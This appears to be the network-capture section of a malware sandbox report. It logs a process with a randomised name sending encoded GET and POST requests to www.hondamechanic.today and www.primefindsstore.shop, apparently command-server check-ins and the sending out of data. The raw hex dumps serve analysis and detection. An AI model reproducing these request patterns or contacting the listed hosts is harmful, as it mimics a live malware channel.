Jul 3, 2024 18:54:09.427315950 CEST	305	IN	HTTP/1.1 405 Not Allowed date: Wed, 03 Jul 2024 16:54:08 GMT content-type: text/html content-length: 154 server: Parking/1.0 connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49749	64.190.62.22	80	5680	C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:54:10.979861021 CEST	485	OUT	GET /expp/?Z6ZTG=4RP2jfjc/CKkP2k0VFIzhmOcoxlGKDo9u/ZkfjmOk/GcJdogV5u478VHpy4Tx1zZR2PffU9j3QXLxJ/zQp1CY/gImr6l8nbjZW8kbJ4UJqZmHhNvkenHenANmOUPEa0Yb7H7CBE=&3pSl=bXiTJHhxyN HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.hondamechanic.today Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Jul 3, 2024 18:54:11.626230001 CEST	113	IN	HTTP/1.1 439 date: Wed, 03 Jul 2024 16:54:11 GMT content-length: 0 server: Parking/1.0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49750	23.105.172.12	80	5680	C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:54:16.859086990 CEST	754	OUT	POST /hfkt/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.primefindsstore.shop Origin: http://www.primefindsstore.shop Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Content-Length: 210 Referer: http://www.primefindsstore.shop/hfkt/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 5a 36 5a 54 47 3d 4f 68 4a 31 36 76 51 55 76 73 77 71 35 68 35 38 33 49 79 66 78 34 61 56 63 77 48 4a 73 46 65 41 39 35 34 58 49 35 4f 49 76 30 79 46 64 58 43 31 74 45 4a 39 69 41 49 44 71 44 78 4a 77 72 46 45 5a 64 62 59 37 4e 76 63 32 30 4c 78 55 45 4f 30 57 6b 43 64 37 65 6b 77 37 32 33 39 72 36 65 73 79 6f 79 54 56 31 6e 4c 6f 76 65 4f 33 31 78 6d 31 79 55 39 74 32 74 4f 78 68 4f 4f 49 6c 4c 57 6c 68 36 35 49 58 63 44 6f 70 7a 49 61 66 77 4c 57 58 72 62 44 53 37 61 2f 59 65 56 46 2b 46 77 7a 4a 52 55 4f 31 6d 37 5a 55 36 49 6a 57 4b 33 56 68 2f 79 30 4c 34 6e 58 63 50 32 33 4b 6b 46 62 47 4b 77 71 44 66 62 6b 69 6d 74 Data Ascii: Z6ZTG=OhJ16vQUvswq5h583Iyfx4aVcwHJsFeA954XI5OIv0yFdXC1tEJ9iAIDqDxJwrFEZdbY7Nvc20LxUEO0WkCd7ekw7239r6esyoyTV1nLoveO31xm1yU9t2tOxhOOIlLWlh65IXcDopzIafwLWXrbDS7a/YeVF+FwzJRUO1m7ZU6IjWK3Vh/y0L4nXcP23KkFbGKwqDfbkimt
Jul 3, 2024 18:54:17.895632029 CEST	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 03 Jul 2024 16:54:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 Set-Cookie: slv_session_a09c0148b9fdb1e1201753b66346053d=533f06efaad74dc03aa6e60a6ce0ee3f%7C%7C1720198457%7C%7C1720194857%7C%7Ce58761108355481112a576e70ea7b708; expires=Fri, 02-Aug-2024 16:54:17 GMT; Max-Age=2592000; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Set-Cookie: PHPSESSID=72q7vrf1ctov17qs3optb9pvr5; path=/ Pragma: no-cache Link: <https://primefindsstore.shop/wp-json/>; rel="https://api.w.org/" Content-Encoding: gzip Data Raw: 33 31 35 36 0d 0a 1f 8b 08 00 00 00 00 00 02 03 ed 7d f9 76 db 38 d2 ef df d3 e7 7c ef 80 51 cf 37 b6 7b 4c 49 d4 2e 27 76 8f 77 a7 bd c4 6d c9 c9 24 93 39 3a 10 09 49 8c 29 92 c3 c5 b6 92 93 07 ba af 71 9f ec 56 01 a4 04 48 24 25 6f dd 99 3b 9d c5 96 b0 fc 50 28 14 0a 85 02 58 7c fd 67 d3 35 c2 89 c7 c8 28 1c db 3b ff f3 c3 6b fc 4d 6c ea 0c b7 0b cc d1 ae 3b 05 62 d8 34 08 b6 0b 8e ab 7d 0e 0a e4 7e 6c 3b f0 6d 14 86 de 56 a9 74 77 77 57 bc ab 16 5d 7f 58 d2 db ed 76 09 6b 17 38 0c a3 26 fc 26 f0 e7 b5 6d 39 37 c4 67 f6 76 21 18 b9 7e 68 44 21 b1 0c d7 29 90 91 cf 06 02 2a 00 2c cf b7 c6 6c 60 39 66 10 84 ae cf 8a 50 d8 2b dd 79 1a 14 0d 99 13 96 22 cf 76 a9 19 94 2a e5 4a ad 54 6e 96 fa 2c 08 b5 80 d9 36 f3 03 ad 52 d6 06 f4 b6 e8 39 c3 42 29 69 77 cc 42 4a 8c 11 f5 03 16 6e 17 ae bb 47 5a ab a0 e4 39 74 cc b6 0b b7 16 bb f3 80 2e e8 a9 68 69 bb 70 67 99 e1 68 db 64 b7 96 c1 34 fe 65 93 58 8e 15 5a d4 d6 02 83 da 6c 5b 2f 96 37 c7 90 34 8e c6 52 0a 19 d3 fb f9 a4 28 60 3e ff 4e fb 90 e4 b8 9b 24 [TRUNCATED] Data Ascii: 3156}v8\|Q7{LI.'vwm$9:I)qVH$%o;P(X\|g5(;kMl;b4}~l;mVtwwW]Xvk8&&m97gv!~hD!),l`9fP+y"vJTn,6R9B)iwBJnGZ9t.hipghd4eXZl[/74R(`>N$-tBZvCF7$7r%.Q}74A5z3M![#fCf:X8t;^Nxc[mt.e2%?3'(\0(L),o/ZomLnAe'DA;}5n
Jul 3, 2024 18:54:17.895693064 CEST	1236	IN	Data Raw: 34 db ea fb d4 9f 3c 80 3e cb 31 ec c8 64 82 5d a6 15 84 25 05 29 a6 14 64 7a 4a 6d a3 58 2f d6 97 53 cb 2b 72 ea b8 a6 b0 0c 8d b3 40 13 b4 43 bb d0 9d 78 ac e7 a0 76 7e 28 fd f4 67 d2 1d 59 01 19 58 88 11 10 1a c1 b4 18 32 87 f9 34 64 26 f9 a9 Data Ascii: 4<>1d]%)dzJmX/S+r@Cxv~(gYX24d&Cq~!{[?W}j}(ZZTUUM\|>5(!^Ftad-Z#=j3ik&wAx^VW{--WlmF5:%RH)~x-FvV`q5'
Jul 3, 2024 18:54:17.895704031 CEST	448	IN	Data Raw: 32 79 fd 60 e4 f9 6a 59 12 31 db 92 3d 40 2c a6 95 32 e9 7d 28 ec 5c ad 4c 5c 61 fb 3e 08 54 54 49 41 14 73 7e de cd f3 75 c1 ef f3 0c 9a e0 29 8d ac ac 1f 9e d2 c8 72 ad f1 14 f4 d5 74 c9 53 5a 78 b8 86 79 4a 6b 4f d2 3b cf d8 f0 ca da e8 49 6d Data Ascii: 2y`jY1=@,2}(\L\a>TTIAs~u)rtSZxyJkO;Im>BG=}(,gOZM-}K_E=\|u]t#PWm@~N{D+OeOopu=TYGweu&2u;kvW>XESD*:FCZZYWI^\|-?x-O[CN)
Jul 3, 2024 18:54:17.895894051 CEST	1236	IN	Data Raw: 35 64 d7 c0 f5 c7 c9 25 34 8e cb ef 56 21 76 20 5d f9 82 bf b5 62 e5 29 b7 be 04 cd 06 f5 c3 97 a2 19 6b c2 d6 68 d8 c3 46 9e 95 f6 80 51 df 18 c1 1c 71 cd c8 78 39 fa 95 56 9e d2 81 e9 75 54 ea 59 c5 3b 7e b3 75 d5 8b aa 9f 03 d7 81 c2 a5 1d 09 Data Ascii: 5d%4V!v ]b)khFQqx9VuTY;~u7A@zm\|,]=\_KRw{{}X](,ZBN \|([dmvpGWhCuY6I@X^@du_
Jul 3, 2024 18:54:17.895905972 CEST	1236	IN	Data Raw: a1 2f 76 40 c5 01 6c d0 03 03 0f 53 e3 2d 11 fd 9a 3f a2 2b 61 28 bb eb 54 a0 e5 d5 97 18 fa 4f a7 4f 31 7d 9f 85 4a 0e f8 00 5a e7 46 65 e0 ba a1 ba 21 c9 5c 6e a4 7e c6 b5 72 bb 81 65 5c 87 91 51 5d ec d8 37 e5 94 47 f0 56 b4 09 95 93 66 4d 8a Data Ascii: /v@lS-?+a(TOO1}JZFe!\n~re\Q]7GVfMW\|7a6$?#K$ y]:h<]Sx-%wl\|SUy\GjjG17^npC41s!3b>[O(32u-Eejp w=HB\|]NkjhQj
Jul 3, 2024 18:54:17.895916939 CEST	1236	IN	Data Raw: 37 9d a7 39 8b 59 d0 dc fd da ce 62 32 1e 46 ad ed cc a6 01 cc 7c 21 ab 20 2d 8a 0a 80 1c bd 18 5f 8d e6 17 72 a5 39 5f 2d e9 95 52 a5 5d aa b6 f5 66 b5 5d 6f d7 f5 01 6b 99 55 a3 d2 af f6 db 75 46 75 a3 4e 59 9b d2 7a b9 49 ab 46 ab a5 89 45 9d Data Ascii: 79Yb2F\|! -_r9_-R]f]okUuFuNYzIFEAbCQ+gCfb2E/<Eo{o%=tOyL.c#xL\!p0;O+O"-k2\QVkL#CzQ{0+#B.97X5rAtgMzk9P
Jul 3, 2024 18:54:17.895929098 CEST	1236	IN	Data Raw: 57 7d 39 13 d5 c2 47 47 44 b8 1d ad 6a 6a 1e 0f 70 3c c0 d8 d1 a1 3b d1 06 ae 8f 5a f0 7b b6 47 2b 65 5d 6f e8 cd 66 43 1b d3 fb 97 d1 73 6f 66 3c 22 d5 03 72 89 3c 22 47 c0 23 d2 75 27 04 78 84 1a 2f f8 e3 14 ea ff 03 af 6b ed bf f6 ce 42 bd fa Data Ascii: W}9GGDjjp<;Z{G+e]ofCsof<"r<"G#u'x/kBfmuUs=c<jc(Z;+gI]AV\4FYLF\|5i+%Vo4V`FdFtPPZ})a7FodqKFraV\|q@U*b
Jul 3, 2024 18:54:17.896298885 CEST	328	IN	Data Raw: 8e 31 27 35 12 d4 1c 3a 86 59 00 75 a6 8d 4d ad c6 3f dc db 5a ad 90 b1 28 bf 1e d5 93 b1 00 99 af 67 95 52 9a 70 58 da 7a aa 94 f7 a6 51 f0 50 03 aa ec 7a 89 3f 53 27 19 36 17 ba 5b b9 0a 77 27 2f 77 51 dc 57 a6 a1 e4 e5 b2 64 27 bb 40 9a c1 91 Data Ascii: 1'5:YuM?Z(gRpXzQPz?S'6[w'/wQWd'@nE$;Hv0boyK^W]pUH"o\Q\zW6/]+{\)vtY z2nBe9\9$Ln&g^~xr)n>'+G6+"
Jul 3, 2024 18:54:17.896311045 CEST	1236	IN	Data Raw: e7 22 25 8f e6 5a f9 19 69 06 b0 55 0f a2 46 16 7f 59 bb 66 32 db ba 05 2b 1e 8f a3 e2 b4 78 52 1c c4 39 b9 d4 eb cf 49 bd be 2a f5 50 02 63 68 4f 75 d0 15 0b 23 1f 8c ec e5 3a a8 56 79 4e 82 57 7e 60 84 87 1b d7 60 96 62 0c 1a bc 9a 00 fa 07 93 Data Ascii: "%ZiUFYf2+xR9IPchOu#:VyNW~``bO8%FmN/XpVL.GyVAWlb!>U\yUk_E;qnD'0n}\1-_] Bo0)](b\b$?.Y
Jul 3, 2024 18:54:17.896451950 CEST	1236	IN	Data Raw: 5e 0e ec b9 eb bb 06 ce 25 33 5e eb a0 b8 80 fc 20 f7 ff fc 83 32 4a e7 79 88 d4 a6 13 31 48 20 9c 43 0b 46 1e b0 38 e6 c5 f1 85 84 79 71 bc c0 80 46 0e ee 85 15 cf cf 0b 0a cb 73 dc fd 86 c0 7d 2b 0b fd 85 aa 00 6f fc 4c 19 bd 70 fd 3b 36 e4 42 Data Ascii: ^%3^ 2Jy1H CF8yqFs}+oLp;6BcE.-r1O_;V:~c+^G}{.B&ffvP(.OdEry z@q75?SjsP0z&29\NjTG'yv!$y\gVb&UwY
Jul 3, 2024 18:54:17.900835037 CEST	1236	IN	Data Raw: 3a 66 ae cf f7 f9 67 68 b2 af 43 51 81 77 22 5b 78 c7 ca 9a 7e 7c c2 e7 65 3d 87 dc e3 11 e8 63 44 dd 87 6d 1a a0 9e 08 23 ef f8 8d e2 e2 7b f3 20 17 df b1 d5 f7 a9 8d 8f 36 c5 7d 07 34 81 aa ac ed c7 ca da 9e 67 7e 1c 53 e1 e1 3d a0 36 0d 90 ca Data Ascii: :fghCQw"[x~\|e=cDm#{ 6}4g~S=6x]?'4#\|t)k.&_pXgem<!=&08'rGT=Q4O<BgfsSsq S8Q7:'@^Wvq2(j;s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49751	23.105.172.12	80	5680	C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:54:19.402909040 CEST	778	OUT	POST /hfkt/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.primefindsstore.shop Origin: http://www.primefindsstore.shop Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Content-Length: 234 Referer: http://www.primefindsstore.shop/hfkt/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 5a 36 5a 54 47 3d 4f 68 4a 31 36 76 51 55 76 73 77 71 2f 78 4a 38 77 76 47 66 7a 59 61 57 51 51 48 4a 6a 6c 66 48 39 35 38 58 49 37 69 59 75 42 71 46 64 33 79 31 75 41 56 39 68 41 49 44 67 6a 78 4d 2b 4c 46 50 5a 64 58 32 37 4d 2f 63 32 33 33 78 55 42 71 30 57 54 65 61 37 4f 6b 32 32 57 33 2f 31 4b 65 73 79 6f 79 54 56 78 4c 68 6f 76 57 4f 33 45 68 6d 31 58 67 79 6b 57 74 50 34 42 4f 4f 4d 6c 4c 4b 6c 68 36 66 49 57 41 39 6f 72 37 49 61 65 41 4c 56 44 2f 61 57 43 37 51 79 34 65 46 43 66 77 58 71 6f 59 4e 51 47 4f 37 4e 69 57 4e 72 41 4c 74 4a 53 2f 52 6d 62 59 6c 58 65 58 45 33 71 6b 76 5a 47 79 77 34 55 54 38 72 57 44 4f 38 65 7a 2f 77 6f 6e 62 44 6f 4f 6e 4a 76 33 52 6b 58 6a 35 31 41 3d 3d Data Ascii: Z6ZTG=OhJ16vQUvswq/xJ8wvGfzYaWQQHJjlfH958XI7iYuBqFd3y1uAV9hAIDgjxM+LFPZdX27M/c233xUBq0WTea7Ok22W3/1KesyoyTVxLhovWO3Ehm1XgykWtP4BOOMlLKlh6fIWA9or7IaeALVD/aWC7Qy4eFCfwXqoYNQGO7NiWNrALtJS/RmbYlXeXE3qkvZGyw4UT8rWDO8ez/wonbDoOnJv3RkXj51A==
Jul 3, 2024 18:54:20.505855083 CEST	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 03 Jul 2024 16:54:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 Set-Cookie: slv_session_a09c0148b9fdb1e1201753b66346053d=70ed71b81025c39171072e3b0ce9172f%7C%7C1720198460%7C%7C1720194860%7C%7C9ca75b6a083e51ae3fd835288ebd32b3; expires=Fri, 02-Aug-2024 16:54:20 GMT; Max-Age=2592000; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Set-Cookie: PHPSESSID=63p917bqijodufemh90e3p5q8d; path=/ Pragma: no-cache Link: <https://primefindsstore.shop/wp-json/>; rel="https://api.w.org/" Content-Encoding: gzip Data Raw: 33 31 35 36 0d 0a 1f 8b 08 00 00 00 00 00 02 03 ed 7d f9 76 db 38 d2 ef df d3 e7 7c ef 80 51 cf 37 b6 7b 4c 49 d4 2e 27 76 8f 77 a7 bd c4 6d c9 c9 24 93 39 3a 10 09 49 8c 29 92 c3 c5 b6 92 93 07 ba af 71 9f ec 56 01 a4 04 48 24 25 6f dd 99 3b 9d c5 96 b0 fc 50 28 14 0a 85 02 58 7c fd 67 d3 35 c2 89 c7 c8 28 1c db 3b ff f3 c3 6b fc 4d 6c ea 0c b7 0b cc d1 ae 3b 05 62 d8 34 08 b6 0b 8e ab 7d 0e 0a e4 7e 6c 3b f0 6d 14 86 de 56 a9 74 77 77 57 bc ab 16 5d 7f 58 d2 db ed 76 09 6b 17 38 0c a3 26 fc 26 f0 e7 b5 6d 39 37 c4 67 f6 76 21 18 b9 7e 68 44 21 b1 0c d7 29 90 91 cf 06 02 2a 00 2c cf b7 c6 6c 60 39 66 10 84 ae cf 8a 50 d8 2b dd 79 1a 14 0d 99 13 96 22 cf 76 a9 19 94 2a e5 4a ad 54 6e 96 fa 2c 08 b5 80 d9 36 f3 03 ad 52 d6 06 f4 b6 e8 39 c3 42 29 69 77 cc 42 4a 8c 11 f5 03 16 6e 17 ae bb 47 5a ab a0 e4 39 74 cc b6 0b b7 16 bb f3 80 2e e8 a9 68 69 bb 70 67 99 e1 68 db 64 b7 96 c1 34 fe 65 93 58 8e 15 5a d4 d6 02 83 da 6c 5b 2f 96 37 c7 90 34 8e c6 52 0a 19 d3 fb f9 a4 28 60 3e ff 4e fb 90 e4 b8 9b 24 [TRUNCATED] Data Ascii: 3156}v8\|Q7{LI.'vwm$9:I)qVH$%o;P(X\|g5(;kMl;b4}~l;mVtwwW]Xvk8&&m97gv!~hD!),l`9fP+y"vJTn,6R9B)iwBJnGZ9t.hipghd4eXZl[/74R(`>N$-tBZvCF7$7r%.Q}74A5z3M![#fCf:X8t;^Nxc[mt.e2%?3'(\0(L),o/ZomLnAe'DA;}5n
Jul 3, 2024 18:54:20.505884886 CEST	1236	IN	Data Raw: 34 db ea fb d4 9f 3c 80 3e cb 31 ec c8 64 82 5d a6 15 84 25 05 29 a6 14 64 7a 4a 6d a3 58 2f d6 97 53 cb 2b 72 ea b8 a6 b0 0c 8d b3 40 13 b4 43 bb d0 9d 78 ac e7 a0 76 7e 28 fd f4 67 d2 1d 59 01 19 58 88 11 10 1a c1 b4 18 32 87 f9 34 64 26 f9 a9 Data Ascii: 4<>1d]%)dzJmX/S+r@Cxv~(gYX24d&Cq~!{[?W}j}(ZZTUUM\|>5(!^Ftad-Z#=j3ik&wAx^VW{--WlmF5:%RH)~x-FvV`q5'
Jul 3, 2024 18:54:20.505898952 CEST	448	IN	Data Raw: 32 79 fd 60 e4 f9 6a 59 12 31 db 92 3d 40 2c a6 95 32 e9 7d 28 ec 5c ad 4c 5c 61 fb 3e 08 54 54 49 41 14 73 7e de cd f3 75 c1 ef f3 0c 9a e0 29 8d ac ac 1f 9e d2 c8 72 ad f1 14 f4 d5 74 c9 53 5a 78 b8 86 79 4a 6b 4f d2 3b cf d8 f0 ca da e8 49 6d Data Ascii: 2y`jY1=@,2}(\L\a>TTIAs~u)rtSZxyJkO;Im>BG=}(,gOZM-}K_E=\|u]t#PWm@~N{D+OeOopu=TYGweu&2u;kvW>XESD*:FCZZYWI^\|-?x-O[CN)
Jul 3, 2024 18:54:20.506022930 CEST	1236	IN	Data Raw: 35 64 d7 c0 f5 c7 c9 25 34 8e cb ef 56 21 76 20 5d f9 82 bf b5 62 e5 29 b7 be 04 cd 06 f5 c3 97 a2 19 6b c2 d6 68 d8 c3 46 9e 95 f6 80 51 df 18 c1 1c 71 cd c8 78 39 fa 95 56 9e d2 81 e9 75 54 ea 59 c5 3b 7e b3 75 d5 8b aa 9f 03 d7 81 c2 a5 1d 09 Data Ascii: 5d%4V!v ]b)khFQqx9VuTY;~u7A@zm\|,]=\_KRw{{}X](,ZBN \|([dmvpGWhCuY6I@X^@du_
Jul 3, 2024 18:54:20.506037951 CEST	1236	IN	Data Raw: a1 2f 76 40 c5 01 6c d0 03 03 0f 53 e3 2d 11 fd 9a 3f a2 2b 61 28 bb eb 54 a0 e5 d5 97 18 fa 4f a7 4f 31 7d 9f 85 4a 0e f8 00 5a e7 46 65 e0 ba a1 ba 21 c9 5c 6e a4 7e c6 b5 72 bb 81 65 5c 87 91 51 5d ec d8 37 e5 94 47 f0 56 b4 09 95 93 66 4d 8a Data Ascii: /v@lS-?+a(TOO1}JZFe!\n~re\Q]7GVfMW\|7a6$?#K$ y]:h<]Sx-%wl\|SUy\GjjG17^npC41s!3b>[O(32u-Eejp w=HB\|]NkjhQj
Jul 3, 2024 18:54:20.506234884 CEST	1236	IN	Data Raw: 37 9d a7 39 8b 59 d0 dc fd da ce 62 32 1e 46 ad ed cc a6 01 cc 7c 21 ab 20 2d 8a 0a 80 1c bd 18 5f 8d e6 17 72 a5 39 5f 2d e9 95 52 a5 5d aa b6 f5 66 b5 5d 6f d7 f5 01 6b 99 55 a3 d2 af f6 db 75 46 75 a3 4e 59 9b d2 7a b9 49 ab 46 ab a5 89 45 9d Data Ascii: 79Yb2F\|! -_r9_-R]f]okUuFuNYzIFEAbCQ+gCfb2E/<Eo{o%=tOyL.c#xL\!p0;O+O"-k2\QVkL#CzQ{0+#B.97X5rAtgMzk9P
Jul 3, 2024 18:54:20.506247044 CEST	1236	IN	Data Raw: 57 7d 39 13 d5 c2 47 47 44 b8 1d ad 6a 6a 1e 0f 70 3c c0 d8 d1 a1 3b d1 06 ae 8f 5a f0 7b b6 47 2b 65 5d 6f e8 cd 66 43 1b d3 fb 97 d1 73 6f 66 3c 22 d5 03 72 89 3c 22 47 c0 23 d2 75 27 04 78 84 1a 2f f8 e3 14 ea ff 03 af 6b ed bf f6 ce 42 bd fa Data Ascii: W}9GGDjjp<;Z{G+e]ofCsof<"r<"G#u'x/kBfmuUs=c<jc(Z;+gI]AV\4FYLF\|5i+%Vo4V`FdFtPPZ})a7FodqKFraV\|q@U*b
Jul 3, 2024 18:54:20.506257057 CEST	328	IN	Data Raw: 8e 31 27 35 12 d4 1c 3a 86 59 00 75 a6 8d 4d ad c6 3f dc db 5a ad 90 b1 28 bf 1e d5 93 b1 00 99 af 67 95 52 9a 70 58 da 7a aa 94 f7 a6 51 f0 50 03 aa ec 7a 89 3f 53 27 19 36 17 ba 5b b9 0a 77 27 2f 77 51 dc 57 a6 a1 e4 e5 b2 64 27 bb 40 9a c1 91 Data Ascii: 1'5:YuM?Z(gRpXzQPz?S'6[w'/wQWd'@nE$;Hv0boyK^W]pUH"o\Q\zW6/]+{\)vtY z2nBe9\9$Ln&g^~xr)n>'+G6+"
Jul 3, 2024 18:54:20.506463051 CEST	1236	IN	Data Raw: e7 22 25 8f e6 5a f9 19 69 06 b0 55 0f a2 46 16 7f 59 bb 66 32 db ba 05 2b 1e 8f a3 e2 b4 78 52 1c c4 39 b9 d4 eb cf 49 bd be 2a f5 50 02 63 68 4f 75 d0 15 0b 23 1f 8c ec e5 3a a8 56 79 4e 82 57 7e 60 84 87 1b d7 60 96 62 0c 1a bc 9a 00 fa 07 93 Data Ascii: "%ZiUFYf2+xR9IPchOu#:VyNW~``bO8%FmN/XpVL.GyVAWlb!>U\yUk_E;qnD'0n}\1-_] Bo0)](b\b$?.Y
Jul 3, 2024 18:54:20.506477118 CEST	1236	IN	Data Raw: 5e 0e ec b9 eb bb 06 ce 25 33 5e eb a0 b8 80 fc 20 f7 ff fc 83 32 4a e7 79 88 d4 a6 13 31 48 20 9c 43 0b 46 1e b0 38 e6 c5 f1 85 84 79 71 bc c0 80 46 0e ee 85 15 cf cf 0b 0a cb 73 dc fd 86 c0 7d 2b 0b fd 85 aa 00 6f fc 4c 19 bd 70 fd 3b 36 e4 42 Data Ascii: ^%3^ 2Jy1H CF8yqFs}+oLp;6BcE.-r1O_;V:~c+^G}{.B&ffvP(.OdEry z@q75?SjsP0z&29\NjTG'yv!$y\gVb&UwY
Jul 3, 2024 18:54:20.510879040 CEST	1236	IN	Data Raw: 3a 66 ae cf f7 f9 67 68 b2 af 43 51 81 77 22 5b 78 c7 ca 9a 7e 7c c2 e7 65 3d 87 dc e3 11 e8 63 44 dd 87 6d 1a a0 9e 08 23 ef f8 8d e2 e2 7b f3 20 17 df b1 d5 f7 a9 8d 8f 36 c5 7d 07 34 81 aa ac ed c7 ca da 9e 67 7e 1c 53 e1 e1 3d a0 36 0d 90 ca Data Ascii: :fghCQw"[x~\|e=cDm#{ 6}4g~S=6x]?'4#\|t)k.&_pXgem<!=&08'rGT=Q4O<BgfsSsq S8Q7:'@^Wvq2(j;s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49752	23.105.172.12	80	5680	C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:54:21.933526993 CEST	1791	OUT	POST /hfkt/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.primefindsstore.shop Origin: http://www.primefindsstore.shop Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Content-Length: 1246 Referer: http://www.primefindsstore.shop/hfkt/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 5a 36 5a 54 47 3d 4f 68 4a 31 36 76 51 55 76 73 77 71 2f 78 4a 38 77 76 47 66 7a 59 61 57 51 51 48 4a 6a 6c 66 48 39 35 38 58 49 37 69 59 75 42 69 46 64 45 36 31 74 6e 68 39 67 41 49 44 37 6a 78 4e 2b 4c 46 6f 5a 64 2f 36 37 4d 7a 69 32 78 7a 78 47 7a 69 30 55 69 65 61 30 4f 6b 32 2f 32 33 2b 72 36 65 44 79 6f 43 58 56 78 37 68 6f 76 57 4f 33 48 70 6d 79 43 55 79 69 57 74 4f 78 68 50 63 49 6c 4c 32 6c 68 43 68 49 57 46 47 70 61 62 49 61 2b 51 4c 51 77 58 61 4c 79 37 57 7a 34 66 61 43 66 73 49 71 6f 55 37 51 48 37 65 4e 6b 71 4e 6f 58 69 45 62 77 6e 56 35 34 63 6b 45 4e 58 76 73 73 39 52 64 47 43 56 37 46 44 38 79 45 4c 32 37 72 69 6f 79 4b 71 68 4b 6f 43 4e 43 34 36 62 79 30 2b 79 6a 74 6d 2b 42 67 39 59 4f 69 42 47 55 32 47 74 41 57 77 45 2b 47 2b 59 69 76 6a 7a 39 59 33 30 44 46 30 7a 6e 41 35 58 72 4e 4a 59 5a 30 30 46 36 7a 5a 52 7a 6f 4b 38 4c 65 79 2b 44 47 77 58 76 2b 41 6a 57 4a 33 4c 71 63 59 73 56 4b 44 6c 32 6a 6c 52 7a 46 79 6e 6c 31 61 65 53 66 5a 57 70 39 66 47 50 64 4c 30 49 58 55 7a [TRUNCATED] Data Ascii: 